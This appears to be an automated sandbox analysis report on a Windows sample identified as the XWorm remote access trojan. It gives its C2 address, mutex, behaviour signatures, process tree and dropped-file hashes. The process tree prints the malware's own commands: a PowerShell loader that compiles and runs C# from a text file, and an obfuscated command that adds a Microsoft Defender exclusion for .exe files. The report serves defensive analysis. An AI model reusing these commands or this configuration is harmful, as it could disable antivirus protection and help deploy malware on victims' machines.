Analysis

  • max time kernel
    149s
  • max time network
    96s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    15/04/2026, 22:38

General

  • Target
    2026-04-15_d435e826f2a2a227d6d18017423b0418_akira_cobalt-strike_icedid_mespinoza_njrat_ryuk_vidar.exe
  • Size 3.5MB
  • Sample260415-2kca6sdw91
  • SHA256 0115503906403dc9fa9bf5888fde9fb88b248bcf371bd7bb9b14a188ace196c0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 158.255.213.175:433

Mutex
  • OD5wJuKNTLy7qi9e

Attributes
  • install_file

    USB.exe

  • localhost

    127.0.0.1

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3136
      • C:\Users\Admin\AppData\Local\Temp\2026-04-15_d435e826f2a2a227d6d18017423b0418_akira_cobalt-strike_icedid_mespinoza_njrat_ryuk_vidar.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-04-15_d435e826f2a2a227d6d18017423b0418_akira_cobalt-strike_icedid_mespinoza_njrat_ryuk_vidar.exe"
        2⤵
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of WriteProcessMemory
        PID:2084
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -command ""sleep 4;$TNMKJGOZ = Get-Content "$env:UserProfile\UPDATE2.txt" -Raw; Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $TNMKJGOZ -Language CSharp; [HelloWorld]::SayHello()""
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious use of SetThreadContext
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2316
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bp2hjjap\bp2hjjap.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4828
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES91D6.tmp" "c:\Users\Admin\AppData\Local\Temp\bp2hjjap\CSC1F1A49067902466D86978C1DA6409A86.TMP"
              5⤵
                PID:3740
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:4384
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $MyBigFatCriticalPoint=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+[char]114+[char]101+[char]102+[char]101+[char]114"+"+[char]101+[char]110+[char]99+[char]101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($MyBigFatCriticalPoint) -ExclusionExtension $s -Force
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5044

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 17KB
            • SHA256 b4e05492bd84825839a32a0cf73732453e811582908642a4e9ca7734181e669d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            RES91D6.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES91D6.tmp
            • Size 1KB
            • SHA256 87a4b8936b92f0d211a44cc40124e6da37d367d35d3d9db23385b1c9799ae2d2
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_vf5oplzh.zvo.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vf5oplzh.zvo.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            bp2hjjap.dll

            • Path C:\Users\Admin\AppData\Local\Temp\bp2hjjap\bp2hjjap.dll
            • Size 57KB
            • SHA256 63d9447826648b06221afaa8ea794c3bf010ad0968f687243d3a8adeabedc65e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            DATA.txt

            • Path C:\Users\Admin\DATA.txt
            • Size 192KB
            • SHA256 d22da3d1db4ab417f0a49e7aee8480246554529323999ec0132954a27d688d00
            • MD5 SHA1 SHA512 SSDEEP TLSH

            UPDATE2.txt

            • Path C:\Users\Admin\UPDATE2.txt
            • Size 584KB
            • SHA256 8f37ce2089454ad645893fa027327f7259bf84aeb62755bf7e46f04b88a0ad46
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CSC1F1A49067902466D86978C1DA6409A86.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\bp2hjjap\CSC1F1A49067902466D86978C1DA6409A86.TMP
            • Size 652B
            • SHA256 b3f1952e28392182447033fe44d2abd2dceafee55ccf39d4f497e881cba53693
            • MD5 SHA1 SHA512 TLSH

            bp2hjjap.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\bp2hjjap\bp2hjjap.0.cs
            • Size 584KB
            • SHA256 24f7fd4753c5a802f48efe5a075471a822f3ad0bf961065cf154bfb1e7e3959a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            bp2hjjap.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\bp2hjjap\bp2hjjap.cmdline
            • Size 486B
            • SHA256 7dfe996317f55e26e94dcbcabfa187b5b3286a6db76cb7e964b8b25c1ba7f9c8
            • MD5 SHA1 SHA512 TLSH

            memory/2316-38-0x000002D4FB040000-0x000002D4FB050000-memory.dmp

            memory/2316-41-0x000002D4FAEA0000-0x000002D4FAF4F000-memory.dmp

            memory/2316-19-0x000002D4FB590000-0x000002D4FB606000-memory.dmp

            memory/2316-16-0x000002D4FC330000-0x000002D4FC9AA000-memory.dmp

            memory/2316-15-0x000002D4FB160000-0x000002D4FB17E000-memory.dmp

            memory/2316-14-0x000002D4FB040000-0x000002D4FB050000-memory.dmp

            memory/2316-70-0x000002D4FAEA0000-0x000002D4FAF4F000-memory.dmp

            memory/2316-7-0x000002D4FB180000-0x000002D4FB1A2000-memory.dmp

            memory/2316-69-0x000002D4FA8A0000-0x000002D4FA8AC000-memory.dmp

            memory/2316-6-0x000002D4FB000000-0x000002D4FB024000-memory.dmp

            memory/2316-34-0x000002D4FAA20000-0x000002D4FAA34000-memory.dmp

            memory/2316-35-0x000002D4FB430000-0x000002D4FB44E000-memory.dmp

            memory/2316-36-0x000002D4FB030000-0x000002D4FB042000-memory.dmp

            memory/2316-37-0x000002D4FB040000-0x000002D4FB050000-memory.dmp

            memory/2316-2-0x000002D4FB040000-0x000002D4FB050000-memory.dmp

            memory/2316-5-0x000002D4FB680000-0x000002D4FBCAA000-memory.dmp

            memory/2316-40-0x000002D4FA8A0000-0x000002D4FA8AC000-memory.dmp

            memory/2316-43-0x000002D4FB040000-0x000002D4FB050000-memory.dmp

            memory/2316-42-0x000002D4FAFC0000-0x000002D4FAFD2000-memory.dmp

            memory/2316-17-0x000002D4FB490000-0x000002D4FB526000-memory.dmp

            memory/2316-45-0x00007FF928BA0000-0x00007FF928DA9000-memory.dmp

            memory/2316-46-0x00007FF9284C0000-0x00007FF92857D000-memory.dmp

            memory/2316-47-0x00007FF9263F0000-0x00007FF926764000-memory.dmp

            memory/2316-48-0x00007FF927E80000-0x00007FF927F2E000-memory.dmp

            memory/2316-49-0x000002D4FB410000-0x000002D4FB411000-memory.dmp

            memory/2316-3-0x000002D4FA980000-0x000002D4FA9B6000-memory.dmp

            memory/2316-4-0x000002D4FB040000-0x000002D4FB050000-memory.dmp

            memory/2316-62-0x000002D4FAEA0000-0x000002D4FAF4F000-memory.dmp

            memory/3740-29-0x0000022C38650000-0x0000022C3865C000-memory.dmp

            memory/4384-64-0x0000000000D90000-0x0000000000D9A000-memory.dmp

            memory/4384-68-0x00000000056F0000-0x0000000005766000-memory.dmp

            memory/4384-72-0x0000000005770000-0x000000000578E000-memory.dmp

            memory/4384-73-0x00000000057A0000-0x00000000057AE000-memory.dmp

            memory/4384-74-0x0000000005910000-0x00000000059AC000-memory.dmp

            memory/4384-75-0x0000000005F70000-0x0000000005FD4000-memory.dmp

            memory/4828-32-0x00000259331E0000-0x00000259331EC000-memory.dmp

            memory/5044-58-0x0000021C34890000-0x0000021C3489C000-memory.dmp

            memory/5044-59-0x0000021C36160000-0x0000021C3620F000-memory.dmp

            memory/5044-60-0x0000021C36210000-0x0000021C36222000-memory.dmp